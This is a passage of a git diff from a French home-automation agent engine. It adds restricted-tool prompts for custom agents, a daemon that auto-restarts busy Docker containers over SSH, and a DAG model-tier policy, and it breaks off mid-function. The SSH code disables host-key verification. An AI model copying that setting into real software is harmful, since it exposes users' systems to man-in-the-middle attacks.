persisted_count = 0 if persist_to_db: @@ -393,7 +396,7 @@ def collect_all_cli_tokens(since_date: str = None, persist_to_db: bool = True) - persisted_count = bulk_upsert_ide_conversations(all_sessions) except Exception as e: logger.warning(f"[CLICollector] Erreur persistance BDD : {e}") - + result = { "antigravity_sessions": antigravity, "claude_sessions": claude, @@ -402,13 +405,13 @@ def collect_all_cli_tokens(since_date: str = None, persist_to_db: bool = True) - "persisted_count": persisted_count, "scan_timestamp": datetime.now().isoformat() } - + logger.info( f"[CLICollector] Scan terminé : {len(antigravity)} Antigravity + " f"{len(claude)} Claude = {total_tokens:,} tokens CLI estimés " f"({persisted_count} persistés en BDD)" ) - + return result @@ -416,9 +419,9 @@ def collect_all_cli_tokens(since_date: str = None, persist_to_db: bool = True) - if __name__ == "__main__": logging.basicConfig(level=logging.INFO) result = collect_all_cli_tokens(since_date="2026-05-22") - + print(f"\n{'='*60}") - print(f" SCAN CLI TOKEN COLLECTOR") + print(" SCAN CLI TOKEN COLLECTOR") print(f"{'='*60}") print(f" Antigravity IDE : {len(result['antigravity_sessions'])} sessions") for s in result["antigravity_sessions"]: diff --git a/core/custom_agents.py b/core/custom_agents.py index 57b39e8..a231855 100644 --- a/core/custom_agents.py +++ b/core/custom_agents.py @@ -28,6 +28,25 @@ def load_custom_agent_entries(config: dict, only_enabled: bool = False) -> list[ return entries +def build_custom_agent_prompt(name: str, label: str | None = None, allowed_tools: list[str] | None = None) -> str: + """ + Prompt système partagé des agents custom (config.json ET workflow, cf. #T213). + + [#T233] Le libellé d'accès reflète la restriction réelle : annoncer + « accès à tous les outils » à un agent restreint l'inciterait à contourner + le refus (cf. #T275) au lieu de travailler dans son périmètre autorisé. + """ + if allowed_tools: + acces = f"accès restreint aux outils suivants : {', '.join(allowed_tools)}." + else: + acces = "accès à tous les outils." + return ( + f"Tu es l'agent custom '{name}' ({label or name}).\n" + f"Tu hérites de la boucle ReAct d'ExecutorAgent avec {acces}\n" + "Exécute la tâche qui t'est assignée de manière rigoureuse et pédagogue." + ) + + def register_config_custom_agents(engine, gateway, tool_registry, config) -> int: """ Instancie et enregistre dans l'Engine les agents custom activés de config.json. @@ -47,12 +66,12 @@ def register_config_custom_agents(engine, gateway, tool_registry, config) -> int llm_gateway=gateway, tool_registry=tool_registry, provider_name=entry.get("tier", "automatique"), + # [#T233] Restrictions d'outils (absent/None = tous, [] = aucun) + allowed_tools=entry.get("allowed_tools"), ) agent.name = name - agent.system_prompt = entry.get("system_prompt") or ( - f"Tu es l'agent custom '{name}' ({entry.get('label', name)}).\n" - f"Tu hérites de la boucle ReAct d'ExecutorAgent avec accès à tous les outils.\n" - f"Exécute la tâche qui t'est assignée de manière rigoureuse et pédagogue." + agent.system_prompt = entry.get("system_prompt") or build_custom_agent_prompt( + name, entry.get("label"), entry.get("allowed_tools") ) engine.register_agent(agent) added += 1 diff --git a/core/daemon_loop.py b/core/daemon_loop.py index 8b243ab..3288d3c 100644 --- a/core/daemon_loop.py +++ b/core/daemon_loop.py @@ -17,16 +17,18 @@ Créé le : 2026-05-30 """ -import os -import sys -import json -import time import asyncio +import json import logging +import os import subprocess +import sys +import time from datetime import datetime +from typing import Any + from core.ha_tls import ha_ssl_context # [P0-1.5] politique TLS HA centralisée -from typing import Dict, Any, List +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA logger = logging.getLogger("daemon_loop") @@ -41,7 +43,7 @@ # État global du démon (exposé via l'API /api/daemon/status) # ────────────────────────────────────────────────────────────────── -daemon_state: Dict[str, Any] = { +daemon_state: dict[str, Any] = { "running": False, "enabled": False, "last_cycle_at": None, @@ -52,13 +54,15 @@ "last_error": None, "interval_minutes": 10, "started_at": None, + "last_ha_overload_check_at": None, + "consecutive_high_cpu_ticks": 0, } # Historique des 50 derniers cycles (FIFO) -daemon_logs: List[Dict[str, Any]] = [] +daemon_logs: list[dict[str, Any]] = [] -def _load_persistent_config() -> Dict[str, Any]: +def _load_persistent_config() -> dict[str, Any]: """ Charge la section persistent_agents depuis config.json. Relue à CHAQUE cycle pour permettre la modification en live. @@ -76,27 +80,27 @@ def _load_persistent_config() -> Dict[str, Any]: # Vérifications individuelles du cycle # ────────────────────────────────────────────────────────────────── -def _check_git_status() -> Dict[str, Any]: +def _check_git_status() -> dict[str, Any]: """ Vérifie le statut Git dans le workspace principal. Retourne le nombre de fichiers modifiés/non-trackés et une alerte si > 10. """ result = {"check": "git_status", "status": "ok", "details": {}} - + try: # Vérifier dans le répertoire parent (e:\AuxFilsDesIdees) workspace = os.path.dirname(_ENGINE_ROOT) - + # Chercher les répertoires Git dans le workspace git_dirs = [] if os.path.exists(os.path.join(_ENGINE_ROOT, ".git")): git_dirs.append(_ENGINE_ROOT) if os.path.exists(os.path.join(workspace, ".git")): git_dirs.append(workspace) - + total_modified = 0 total_untracked = 0 - + for git_dir in git_dirs: # Éviter le flash de fenêtre console creationflags = 0 @@ -116,23 +120,23 @@ def _check_git_status() -> Dict[str, Any]: if len(parts) < 2: continue status_flag, file_path = parts[0], parts[1] - + # Ignorer les extensions de base de données, cache, logs techniques et répertoire checkpoints file_lower = file_path.lower() if any(file_lower.endswith(ext) for ext in [".db", ".db-wal", ".db-shm", ".json", ".log", ".pyc", ".tmp", ".coverage"]) or "checkpoints/" in file_lower: continue - + if status_flag == "??": total_untracked += 1 else: total_modified += 1 - + result["details"] = { "modified": total_modified, "untracked": total_untracked, "repos_checked": len(git_dirs), } - + # Alerte si trop de fichiers non commitées if total_modified + total_untracked > 10: result["status"] = "warning" @@ -140,49 +144,49 @@ def _check_git_status() -> Dict[str, Any]: f"⚠️ {total_modified} modifiés + {total_untracked} non-trackés " f"dans {len(git_dirs)} dépôt(s)" ) - + except subprocess.TimeoutExpired: result["status"] = "error" result["details"]["error"] = "Timeout Git (>10s)" except Exception as e: result["status"] = "error" result["details"]["error"] = str(e) - + return result -async def _check_ha_health() -> Dict[str, Any]: +async def _check_ha_health() -> dict[str, Any]: """ Vérifie la santé de Home Assistant via l'API REST. Détecte les entités critiques en état 'unavailable' ou 'unknown'. """ result = {"check": "ha_health", "status": "ok", "details": {}} - + # Entités critiques à surveiller (Tab5, DAC, Voice Assistant) critical_entities = [ - "switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active", + "switch.example_wake_word", "sensor.m5stack_tab5_home_assistant_hmi_tab5_core_temp", "media_player.m5stack_tab5_home_assistant_hmi_tab5_media_player", ] - + try: # Récupérer le token HA depuis les variables d'environnement - ha_token = os.environ.get("HASS_TOKEN", "") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL", "http://${HA_HOST:-192.168.1.x}:8123") - + if not ha_token: result["status"] = "skipped" - result["details"]["reason"] = "HASS_TOKEN non configuré" + result["details"]["reason"] = "token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN)" return result - + import aiohttp headers = { "Authorization": f"Bearer {ha_token}", "Content-Type": "application/json", } - + unavailable_entities = [] - + async with aiohttp.ClientSession() as session: for entity_id in critical_entities: try: @@ -210,39 +214,344 @@ async def _check_ha_health() -> Dict[str, Any]: "entity_id": entity_id, "state": "unreachable", }) - + result["details"]["entities_checked"] = len(critical_entities) result["details"]["unavailable"] = unavailable_entities - + if unavailable_entities: result["status"] = "warning" result["details"]["alert"] = ( f"⚠️ {len(unavailable_entities)}/{len(critical_entities)} " f"entité(s) critique(s) indisponible(s)" ) - + except ImportError: result["status"] = "skipped" result["details"]["reason"] = "aiohttp non installé" except Exception as e: result["status"] = "error" result["details"]["error"] = str(e) + + return result + + +async def _get_ha_state(entity_id: str) -> dict[str, Any]: + """Récupère l'état d'une entité HA via son API REST.""" + ha_token = get_ha_token() + ha_url = os.environ.get("HASS_URL", os.environ.get("HA_URL", "http://${HA_HOST:-192.168.1.x}:8123")) + + if not ha_token: + raise ValueError("token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN)") + + import aiohttp + headers = { + "Authorization": f"Bearer {ha_token}", + "Content-Type": "application/json", + } + + async with aiohttp.ClientSession() as session: + async with session.get( + f"{ha_url}/api/states/{entity_id}", + headers=headers, + timeout=aiohttp.ClientTimeout(total=5), + ssl=ha_ssl_context(), + ) as resp: + if resp.status == 200: + return await resp.json() + else: + raise RuntimeError(f"HTTP {resp.status}") + + +async def _send_ha_notification(title: str, message: str) -> bool: + """Envoie une notification persistante à Home Assistant.""" + ha_token = get_ha_token() + ha_url = os.environ.get("HASS_URL", os.environ.get("HA_URL", "http://${HA_HOST:-192.168.1.x}:8123")) + + if not ha_token: + return False + + import aiohttp + headers = { + "Authorization": f"Bearer {ha_token}", + "Content-Type": "application/json", + } + payload = { + "title": title, + "message": message + } + + try: + async with aiohttp.ClientSession() as session: + async with session.post( + f"{ha_url}/api/services/persistent_notification/create", + headers=headers, + json=payload, + timeout=aiohttp.ClientTimeout(total=5), + ssl=ha_ssl_context(), + ) as resp: + return resp.status in (200, 201) + except Exception as e: + logger.warning(f"[DAEMON-HA] Échec d'envoi de notification HA : {e}") + return False + + +# Codes de retour de _execute_freebox_ssh_command (#T266) : une dépendance +# absente est un état permanent du CONTRÔLE, pas une panne du système surveillé. +_SSH_OK = 0 +_SSH_FAILURE = -1 # échec SSH réel (transitoire) → anomalie légitime +_SSH_UNAVAILABLE = -2 # dépendance optionnelle absente → contrôle indisponible + +# Signature de la dernière cause d'échec SSH journalisée (#T266) : la même +# indisponibilité n'est rapportée qu'une fois, puis de nouveau si elle change. +_last_ssh_error_reported: str | None = None + + +def _reset_ssh_error_signature() -> None: + """Réarme la journalisation d'échec SSH après une réussite (#T266).""" + global _last_ssh_error_reported + _last_ssh_error_reported = None + + +def _report_ssh_error_once(error_key: str, message: str) -> None: + """Journalise un échec SSH une seule fois par signature d'erreur. + + Une même cause (dépendance absente, clé refusée…) ne doit pas inonder le + journal à chaque cycle : une fois au premier constat suffit, puis de + nouveau si la cause change (ou après une réussite). #T266 + """ + global _last_ssh_error_reported + if error_key == _last_ssh_error_reported: + return + _last_ssh_error_reported = error_key + logger.warning(f"[DAEMON-SSH] {message}") + + +async def _execute_freebox_ssh_command(command: str) -> tuple[int, str, str]: + """ + Exécute une commande sur la VM Freebox via SSH. + Tente par clé SSH en priorité, puis par Paramiko si configuré. + + Codes de retour : _SSH_OK (succès), _SSH_UNAVAILABLE (dépendance absente — + contrôle indisponible, pas une anomalie), _SSH_FAILURE (échec SSH réel). + Le message retourné contient la cause de l'échec du chemin par clé : un log + en debug seul a masqué la vraie cause en production (#T266). + """ + ssh_user = os.environ.get("SSH_USER", "axel") + freebox_ip = "${HA_HOST:-192.168.1.x}" + + # 1. Tentative SSH système par clé — la raison d'échec est conservée pour + # être visible si tout le chemin échoue. + key_error: str | None = None + try: + proc = await asyncio.create_subprocess_exec( + "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", + f"{ssh_user}@{freebox_ip}", command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await proc.communicate() + if proc.returncode == 0: + _reset_ssh_error_signature() + return _SSH_OK, stdout.decode(errors='ignore').strip(), stderr.decode(errors='ignore').strip() + key_error = f"code {proc.returncode} : {stderr.decode(errors='ignore').strip()}" + except Exception as e: + key_error = str(e) + logger.debug(f"[DAEMON-SSH] Échec SSH système par clé : {key_error}") + + # 2. Tentative avec Paramiko — import isolé : une dépendance absente n'est + # pas un échec du système surveillé mais un contrôle indisponible. + # (ModuleNotFoundError est une sous-classe d'ImportError.) + try: + import paramiko + except ImportError as e: + msg = f"Contrôle indisponible : Paramiko absent (clé SSH : {key_error})" + _report_ssh_error_once(f"unavailable:{key_error}", f"{msg} — {e}") + return _SSH_UNAVAILABLE, "", f"{msg} — {e}" + + try: + ssh_password = os.environ.get("SSH_PASSWORD", "") + + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + connect_kwargs = { + "hostname": freebox_ip, + "username": ssh_user, + "timeout": 10 + } + if ssh_password: + connect_kwargs["password"] = ssh_password + + def _ssh_run(): + client.connect(**connect_kwargs) + stdin, stdout, stderr = client.exec_command(command) + return stdout.channel.recv_exit_status(), stdout.read().decode(errors='ignore').strip(), stderr.read().decode(errors='ignore').strip() + + code, out, err = await asyncio.to_thread(_ssh_run) + if code == _SSH_OK: + _reset_ssh_error_signature() + return code, out, err + except Exception as e: + # Échec SSH réel : anomalie légitime — journalisée une fois par cause. + msg = f"Échec SSH (clé : {key_error}) — Paramiko : {e}" + _report_ssh_error_once(f"failure:{key_error}:{e}", msg) + return _SSH_FAILURE, "", msg + + +async def _check_ha_overload() -> dict[str, Any]: + """ + Vérifie si Home Assistant ou la VM Freebox est surchargée. + Si le CPU global est > 80% pendant 2 cycles consécutifs, ou si le check de 6h est dû : + - Fait un diagnostic précis par SSH + - Redémarre les conteneurs fautifs si besoin (Samba, etc.) + """ + result = {"check": "ha_overload", "status": "ok", "details": {}} + + # 1. Vérifier la CPU globale via l'API REST de HA + cpu_usage = 0.0 + try: + state_data = await _get_ha_state("sensor.processor_use") + cpu_usage = float(state_data.get("state", "0.0")) + result["details"]["global_cpu_percent"] = cpu_usage + except Exception as e: + logger.warning(f"[DAEMON-OVERLOAD] Impossible de lire sensor.processor_use: {e}") + result["details"]["global_cpu_percent"] = None + # En cas d'erreur de lecture, on n'arrête pas, on continue pour le check périodique + + # 2. Déterminer si un check SSH complet est nécessaire + now = time.time() + last_check = daemon_state.get("last_ha_overload_check_at") + + # Check toutes les 6 heures (21600 secondes) + due_by_time = (last_check is None) or (now - last_check >= 21600) + # Check réactif : si CPU > 80% + is_high_cpu = cpu_usage >= 80.0 + if is_high_cpu: + daemon_state["consecutive_high_cpu_ticks"] += 1 + else: + daemon_state["consecutive_high_cpu_ticks"] = 0 + + due_by_cpu = daemon_state["consecutive_high_cpu_ticks"] >= 2 + + if not (due_by_time or due_by_cpu): + result["details"]["ssh_check_executed"] = False + result["details"]["consecutive_high_cpu_ticks"] = daemon_state["consecutive_high_cpu_ticks"] + return result + + # 3. Exécuter le diagnostic SSH complet + result["details"]["ssh_check_executed"] = True + result["details"]["trigger_reason"] = "time" if due_by_time else "cpu_surcharge" + daemon_state["last_ha_overload_check_at"] = now + + logger.info(f"[DAEMON-OVERLOAD] Lancement du diagnostic SSH Freebox VM (Raison: {result['details']['trigger_reason']})") + + # Récupérer les stats docker + code, stdout, stderr = await _execute_freebox_ssh_command("sudo docker stats --no-stream --format '{{.Name}}:{{.CPUPerc}}'") + if code == _SSH_UNAVAILABLE: + # Dépendance optionnelle absente : contrôle indisponible, PAS une anomalie + # du système surveillé. « skipped » est le vocabulaire existant du daemon + # pour « contrôle non effectué » (token absent, aiohttp absent…) et ne + # tombe pas dans le filtre warning/error de la collecte (#T266). + result["status"] = "skipped" + result["details"]["reason"] = f"Contrôle indisponible : {stderr}" + return result + if code != _SSH_OK: + result["status"] = "error" + result["details"]["error"] = f"Échec SSH : {stderr}" + return result + + # Parser les stats docker + containers_cpu = {} + overloaded_containers = [] + + for line in stdout.splitlines(): + if ":" not in line: + continue + name, cpu_str = line.split(":", 1) + try: + cpu_val = float(cpu_str.replace("%", "").strip()) + containers_cpu[name] = cpu_val + + # Seuils de surcharge + if name == "addon_core_samba": + limit = 50.0 # Seuil plus bas pour Samba + else: + limit = 80.0 # Seuil standard pour les autres conteneurs + + if cpu_val >= limit: + overloaded_containers.append((name, cpu_val)) + except ValueError: + pass + + result["details"]["containers_cpu"] = containers_cpu + + # Sauvegarder dans daemon_context.json + try: + existing_context = {} + if os.path.exists(_DAEMON_CONTEXT_FILE): + with open(_DAEMON_CONTEXT_FILE, encoding='utf-8') as f: + existing_context = json.load(f) + existing_context["last_ha_overload_check_at"] = now + existing_context["last_containers_cpu"] = containers_cpu + with open(_DAEMON_CONTEXT_FILE, 'w', encoding='utf-8') as f: + json.dump(existing_context, f, indent=2, ensure_ascii=False) + except Exception as e: + logger.warning(f"[DAEMON-OVERLOAD] Impossible d'écrire daemon_context.json: {e}") + + # 4. Auto-healing : Redémarrer les conteneurs fautifs + restarted_containers = [] + for name, cpu_val in overloaded_containers: + logger.warning(f"[DAEMON-OVERLOAD] Surcharge détectée : {name} consomme {cpu_val}% CPU. Tentative d'auto-healing...") + + # Commande de redémarrage + restart_code, r_stdout, r_stderr = await _execute_freebox_ssh_command(f"sudo docker restart {name}") + if restart_code == 0: + restarted_containers.append(name) + msg = f"Le conteneur {name} a été redémarré car sa consommation CPU était de {cpu_val}%." + logger.info(f"[DAEMON-OVERLOAD] Auto-healing réussi : {msg}") + + # Notification HA + await _send_ha_notification( + title="⚠️ Moteur Sentinelle : Auto-healing CPU", + message=msg + ) + + # Enregistrer un épisode de mémoire + try: + from memory.memory_db import MemoryDB + db = MemoryDB.get_instance() + db.add_episode( + summary=f"Auto-healing CPU Freebox VM : Redémarrage de {name} ({cpu_val}% CPU)", + category="system_health" + ) + except Exception: + pass + else: + logger.error(f"[DAEMON-OVERLOAD] Échec auto-healing pour {name} : {r_stderr}") + + result["details"]["overloaded_containers"] = overloaded_containers + result["details"]["restarted_containers"] = restarted_containers + + if restarted_containers: + result["status"] = "warning" + result["details"]["alert"] = f"⚠️ Auto-healing appliqué : Redémarrage de {', '.join(restarted_containers)}" + return result -async def _prefetch_calendar() -> Dict[str, Any]: +async def _prefetch_calendar() -> dict[str, Any]: """ Pré-charge les événements du calendrier Google pour la journée. Écrit le résultat dans daemon_context.json pour les futurs prompts. """ result = {"check": "calendar_prefetch", "status": "ok", "details": {}} - + try: from tools.google_workspace import get_calendar_events - + events_raw = get_calendar_events(calendar_id="primary", max_results="10") - + # Parser la réponse (c'est une string JSON) if isinstance(events_raw, str): try: @@ -251,55 +560,55 @@ async def _prefetch_calendar() -> Dict[str, Any]: events_data = {"raw": events_raw} else: events_data = events_raw - + # Écrire le cache pour les agents context = { "calendar_events": events_data, "fetched_at": datetime.now().isoformat(), "source": "daemon_loop", } - + # Charger le contexte existant pour ne pas écraser les autres données existing_context = {} if os.path.exists(_DAEMON_CONTEXT_FILE): try: - with open(_DAEMON_CONTEXT_FILE, 'r', encoding='utf-8') as f: + with open(_DAEMON_CONTEXT_FILE, encoding='utf-8') as f: existing_context = json.load(f) except Exception: pass - + existing_context.update(context) - + with open(_DAEMON_CONTEXT_FILE, 'w', encoding='utf-8') as f: json.dump(existing_context, f, indent=2, ensure_ascii=False) - + event_count = len(events_data) if isinstance(events_data, list) else 0 result["details"]["events_cached"] = event_count - + except ImportError: result["status"] = "skipped" result["details"]["reason"] = "Module google_workspace non disponible" except Exception as e: result["status"] = "error" result["details"]["error"] = str(e)[:200] - + return result -def _check_memory_health() -> Dict[str, Any]: +def _check_memory_health() -> dict[str, Any]: """ Vérifie la santé de la base mémoire (memory.db). Retourne les statistiques de la base et détecte les faits obsolètes. """ result = {"check": "memory_health", "status": "ok", "details": {}} - + try: from memory.memory_db import MemoryDB db = MemoryDB.get_instance() - + stats = db.get_stats() stale_facts = db.get_stale_facts(threshold=0.3) - + result["details"] = { "facts_count": stats.get("facts", 0), "episodes_count": stats.get("episodes", 0), @@ -307,17 +616,17 @@ def _check_memory_health() -> Dict[str, Any]: "db_size_kb": stats.get("db_size_kb", 0), "stale_facts_count": len(stale_facts), } - + if len(stale_facts) > 5: result["status"] = "info" result["details"]["alert"] = ( f"ℹ️ {len(stale_facts)} faits avec un score de pertinence < 0.3" ) - + except Exception as e: result["status"] = "error" result["details"]["error"] = str(e) - + return result @@ -325,7 +634,7 @@ def _check_memory_health() -> Dict[str, Any]: # Cycle principal du démon # ────────────────────────────────────────────────────────────────── -async def run_tick_cycle(config: Dict[str, Any]) -> Dict[str, Any]: +async def run_tick_cycle(config: dict[str, Any]) -> dict[str, Any]: """ Exécute un cycle complet du démon sentinelle. @@ -335,26 +644,27 @@ async def run_tick_cycle(config: Dict[str, Any]) -> Dict[str, Any]: """ cycle_start = time.time() cycle_id = f"tick_{int(cycle_start)}" - + logger.info(f"[DAEMON] ▶ Début du cycle {cycle_id}") - + # Exécuter TOUS les checks en parallèle via asyncio.gather() # Les fonctions synchrones (git, memory) sont enveloppées dans to_thread() # pour ne pas bloquer la boucle asyncio. Durée de cycle = max(latences) # au lieu de sum(latences). - git_result, ha_result, calendar_result, memory_result = await asyncio.gather( + git_result, ha_result, calendar_result, memory_result, ha_overload_result = await asyncio.gather( asyncio.to_thread(_check_git_status), _check_ha_health(), _prefetch_calendar(), asyncio.to_thread(_check_memory_health), + _check_ha_overload(), ) - + # Collecter les anomalies - all_checks = [git_result, ha_result, calendar_result, memory_result] + all_checks = [git_result, ha_result, calendar_result, memory_result, ha_overload_result] anomalies = [c for c in all_checks if c["status"] in ("warning", "error")] - + cycle_duration_ms = round((time.time() - cycle_start) * 1000, 1) - + # Construire le rapport du cycle report = { "cycle_id": cycle_id, @@ -368,13 +678,13 @@ async def run_tick_cycle(config: Dict[str, Any]) -> Dict[str, Any]: for a in anomalies ], } - + # Mettre à jour l'état global daemon_state["last_cycle_at"] = report["timestamp"] daemon_state["last_cycle_duration_ms"] = cycle_duration_ms daemon_state["total_cycles"] += 1 daemon_state["anomalies"] = report["anomalies"] - + # Ajouter au log FIFO (max 50 entrées) daemon_logs.append({ "cycle_id": cycle_id, @@ -385,14 +695,14 @@ async def run_tick_cycle(config: Dict[str, Any]) -> Dict[str, Any]: }) if len(daemon_logs) > 50: daemon_logs.pop(0) - + # Log console status_emoji = "✅" if not anomalies else "⚠️" logger.info( f"[DAEMON] {status_emoji} Cycle {cycle_id} terminé en {cycle_duration_ms}ms " f"({len(anomalies)} anomalie(s))" ) - + return report @@ -410,26 +720,36 @@ async def daemon_main_loop(): logger.info("[DAEMON] 🚀 Démarrage du Démon Sentinelle 24/7") daemon_state["started_at"] = datetime.now().isoformat() daemon_state["running"] = True - + + # Restaurer l'état persistant + if os.path.exists(_DAEMON_CONTEXT_FILE): + try: + with open(_DAEMON_CONTEXT_FILE, encoding='utf-8') as f: + ctx = json.load(f) + daemon_state["last_ha_overload_check_at"] = ctx.get("last_ha_overload_check_at") + logger.info(f"[DAEMON] 🧭 État persistant restauré : dernier check overload à {daemon_state['last_ha_overload_check_at']}") + except Exception as e: + logger.warning(f"[DAEMON] Impossible de charger l'état persistant : {e}") + # Attendre quelques secondes au démarrage pour laisser FastAPI s'initialiser await asyncio.sleep(5) - + while True: # Relire la config à CHAQUE itération (modification en live) pa_config = _load_persistent_config() - + daemon_state["enabled"] = pa_config.get("daemon_enabled", True) daemon_state["interval_minutes"] = pa_config.get("daemon_interval_minutes", 10) - + if not pa_config.get("daemon_enabled", True): # Démon désactivé — vérifier toutes les 60s si réactivé logger.debug("[DAEMON] Démon désactivé, vérification dans 60s...") await asyncio.sleep(60) continue - + # Calculer l'intervalle depuis la config interval_seconds = pa_config.get("daemon_interval_minutes", 10) * 60 - + try: await run_tick_cycle(pa_config) except Exception as e: @@ -439,7 +759,7 @@ async def daemon_main_loop(): "message": str(e), "timestamp": datetime.now().isoformat(), } - + # Attendre l'intervalle configuré avant le prochain cycle await asyncio.sleep(interval_seconds) @@ -448,11 +768,11 @@ async def daemon_main_loop(): # API publique (utilisée par gui_server.py pour les routes /api/daemon/*) # ────────────────────────────────────────────────────────────────── -def get_daemon_status() -> Dict[str, Any]: +def get_daemon_status() -> dict[str, Any]: """Retourne l'état complet du démon pour l'API.""" return {**daemon_state} -def get_daemon_logs(limit: int = 50) -> List[Dict[str, Any]]: +def get_daemon_logs(limit: int = 50) -> list[dict[str, Any]]: """Retourne les N derniers logs du démon.""" return list(reversed(daemon_logs[:limit])) diff --git a/core/dag/node_tier_policy.py b/core/dag/node_tier_policy.py new file mode 100644 index 0000000..568a38d --- /dev/null +++ b/core/dag/node_tier_policy.py @@ -0,0 +1,192 @@ +""" +core/dag/node_tier_policy.py — Tier de modèle par rôle de nœud DAG (#T245). + +Les deux moitiés d'un MapReduce n'ont pas le même besoin : les tâches **Map** +traitent chacune un fragment (travail large, parallèle, jetable), le nœud +**Reduce** agrège et arbitre (travail court, décisif). Jusqu'ici les deux +héritaient du `model_tier` du parent (`{**task_payload.metadata}` recopié tel +quel dans `core/dag_runner.py`), ce qui produisait les deux mauvais cas : + +- parent en tier fort → N maps en tier fort, le fan-out brûle le budget sur la + partie du travail qui en a le moins besoin ; +- parent en tier léger → un Reduce en tier léger, donc l'arbitrage final (la + seule étape qui voit tous les résultats) est fait par le modèle le plus faible. + +Politique retenue (#T245, « Map free×N → Reduce cerveau ») : maps sur le tier +léger — panier gratuit/low-cost dont les quotas sont justement là pour être +saturés en parallèle — et reduce sur le tier fort, un seul appel amorti. + +Précédence, du plus fort au plus faible : +1. surcharge explicite de l'appelant : `map_model_tier` / `reduce_model_tier` + dans les metadata du payload parent ; +2. `config.json` → `dag_node_tiers` : `{"map": ..., "reduce": ...}` ; +3. valeurs par défaut ci-dessous. + +La valeur spéciale `"herite"` (à n'importe quel niveau) rétablit l'héritage du +tier du parent, et `MOTEUR_DAG_NODE_TIERS=0` désactive toute la politique — +repli complet sur le comportement d'avant, sans redéploiement. +""" + +import logging +import os + +logger = logging.getLogger(__name__) + +# Rôles reconnus → clé de surcharge dans les metadata du payload parent. +_CLE_METADATA = { + "map": "map_model_tier", + "reduce": "reduce_model_tier", +} + +# Tiers par défaut : le fan-out en gratuit/low-cost, l'arbitrage sur le cerveau. +TIERS_DEFAUT = { + "map": "leger", + "reduce": "fort", +} + +# Valeur signifiant « garder le tier du parent » (pas de surcharge). +VALEUR_HERITAGE = "herite" + + +def politique_active() -> bool: + """Faux si `MOTEUR_DAG_NODE_TIERS` vaut 0/false/off/no (kill-switch).""" + return os.getenv("MOTEUR_DAG_NODE_TIERS", "1").strip().lower() not in ( + "0", "false", "off", "no", + ) + + +def _tiers_de_config(config: dict | None) -> dict: + """Lit `dag_node_tiers` dans la config fournie, ou dans `config.json`.""" + if config is None: + try: + from core.llm_gateway import load_config + config = load_config() + except Exception as err: # config illisible → on reste sur les défauts + logger.debug(f"[NodeTier] Config illisible, défauts appliqués : {err}") + config = {} + valeurs = (config or {}).get("dag_node_tiers") or {} + return valeurs if isinstance(valeurs, dict) else {} + + +def tier_pour_role( + role: str, + metadata: dict | None = None, + config: dict | None = None, +) -> str | None: + """ + Retourne le tier à appliquer au nœud `role` ("map" ou "reduce"). + + `None` signifie « ne rien forcer » : l'appelant laisse alors le nœud hériter + du `model_tier` du parent, comme avant #T245. + """ + if role not in _CLE_METADATA or not politique_active(): + return None + + candidats = [ + (metadata or {}).get(_CLE_METADATA[role]), + _tiers_de_config(config).get(role), + TIERS_DEFAUT[role], + ] + for candidat in candidats: + if candidat is None: + continue + valeur = str(candidat).strip() + if not valeur: + continue + if valeur.lower() == VALEUR_HERITAGE: + return None + return valeur + return None + + +def _normalisation_de_plan_active(config: dict | None) -> bool: + """Faux si `dag_node_tiers.plan_normalization` est explicitement désactivé.""" + valeur = _tiers_de_config(config).get("plan_normalization", True) + if isinstance(valeur, str): + return valeur.strip().lower() not in ("0", "false", "off", "no") + return bool(valeur) + + +def normaliser_tiers_du_plan(taches: list, config: dict | None = None) -> dict: + """ + Applique la politique de rôle au plan du Planner (#T245). + + Le MapReduce explicite n'est pas le seul éventail du moteur : un plan + comporte des stages dont les tâches s'exécutent en parallèle + (`core/dag_runner.py`, cap 8) et, en général, une tâche finale qui dépend de + toutes les autres. Ce sont des maps et un reduce, sans en porter le nom. + Le prompt du Planner demande cette forme, mais un prompt dérive : la + normalisation ci-dessous la garantit de façon déterministe et vérifiable. + + Règles, volontairement conservatrices : + - une tâche appartenant à un stage d'au moins 2 tâches → tier des maps + (`leger`), **sauf** les tâches de vérification (`verify_*` ou agent + `reviewer`), que la règle SDD veut en `moyen`/`fort` ; + - une tâche **seule** dans son stage et dépendant d'au moins 2 tâches → + tier du reduce (`fort`) : c'est le nœud d'agrégation, le seul qui voit + tous les résultats. Plusieurs tâches parallèles à plusieurs dépendances + restent des maps (deuxième vague), pas des reduces. + + Le tier d'origine est conservé dans `model_tier_planner` pour que l'écart + entre ce que le Planner a demandé et ce qui a été exécuté reste lisible. + Retourne un rapport {"maps": [...], "reduce": id|None, "inchangees": n}. + """ + rapport = {"maps": [], "reduce": None, "inchangees": 0} + if not taches or not politique_active() or not _normalisation_de_plan_active(config): + rapport["inchangees"] = len(taches or []) + return rapport + + tier_map = tier_pour_role("map", None, config) + tier_reduce = tier_pour_role("reduce", None, config) + + effectif_par_stage: dict = {} + for tache in taches: + stage = (tache.metadata or {}).get("stage_id", 1) + effectif_par_stage[stage] = effectif_par_stage.get(stage, 0) + 1 + + for tache in taches: + meta = tache.metadata or {} + stage = meta.get("stage_id", 1) + deps = meta.get("depends_on") or getattr(tache, "depends_on", None) or [] + est_verification = ( + str(getattr(tache, "task_id", "") or "").startswith("verify_") + or meta.get("target_agent") == "reviewer" + ) + + if effectif_par_stage.get(stage, 1) == 1 and len(deps) >= 2 and tier_reduce: + role, tier = "reduce", tier_reduce + elif effectif_par_stage.get(stage, 1) >= 2 and tier_map and not est_verification: + role, tier = "map", tier_map + else: + rapport["inchangees"] += 1 + continue + + if meta.get("model_tier") != tier: + meta.setdefault("model_tier_planner", meta.get("model_tier")) + meta["model_tier"] = tier + meta["node_tier_role"] = role + tache.metadata = meta + + if role == "reduce": + rapport["reduce"] = getattr(tache, "task_id", None) + else: + rapport["maps"].append(getattr(tache, "task_id", None)) + + return rapport + + +def appliquer_tier_role(role: str, metadata: dict | None, config: dict | None = None) -> dict: + """ + Copie les metadata du parent en y forçant le tier du rôle demandé. + + Trace `node_tier_role` pour que l'origine du tier soit lisible dans les + events SSE et l'historique, et n'écrase rien quand la politique renvoie + `None` (kill-switch, `herite`, ou rôle inconnu). + """ + base = dict(metadata or {}) + tier = 